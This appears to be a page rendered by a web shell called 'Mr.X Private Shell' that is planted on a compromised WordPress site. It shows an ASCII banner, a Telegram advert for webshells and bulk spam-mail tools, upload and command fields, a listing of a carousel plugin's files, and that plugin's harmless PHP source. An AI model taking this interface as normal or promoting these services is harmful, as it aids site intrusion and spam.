__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace CarouselSlider\Modules\PostCarousel;

use CarouselSlider\Abstracts\AbstractView;
use CarouselSlider\Modules\PostCarousel\Helper as PostCarouselHelper;
use CarouselSlider\TemplateParserBase;

defined( 'ABSPATH' ) || exit;

/**
 * View class
 *
 * @package Modules/PostCarousel
 */
class View extends AbstractView {

	/**
	 * Render html view
	 *
	 * @inheritDoc
	 */
	public function render(): string {
		$posts = PostCarouselHelper::get_posts( $this->get_slider_id() );

		$content_html = $this->start_wrapper_html();

		$template = new TemplateParserBase( $this->get_slider_setting() );
		$template->set_template( 'loop/post-carousel.php' );

		foreach ( $posts as $post ) {
			setup_postdata( $post );
			$category = get_the_category( $post->ID );

			$template->set_object( new Item( $post ) );

			do_action( 'carousel_slider_post_loop', $post, $category );

			$content_html .= $this->start_item_wrapper_html();
			$content_html .= apply_filters( 'carousel_slider/loop/post-carousel', $template->render(), $post, $this->get_slider_setting() );
			$content_html .= $this->end_item_wrapper_html();
		}
		wp_reset_postdata();

		$content_html .= $this->end_wrapper_html();

		return apply_filters( 'carousel_slider_posts_carousel', $content_html, $this->get_slider_id(), $posts );
	}
}

Filemanager

Name Type Size Permission Actions
Admin.php File 5.75 KB 0775
Helper.php File 2.67 KB 0775
Item.php File 4.64 KB 0775
Module.php File 792 B 0775
Template.php File 3.21 KB 0775
View.php File 1.27 KB 0775
Filemanager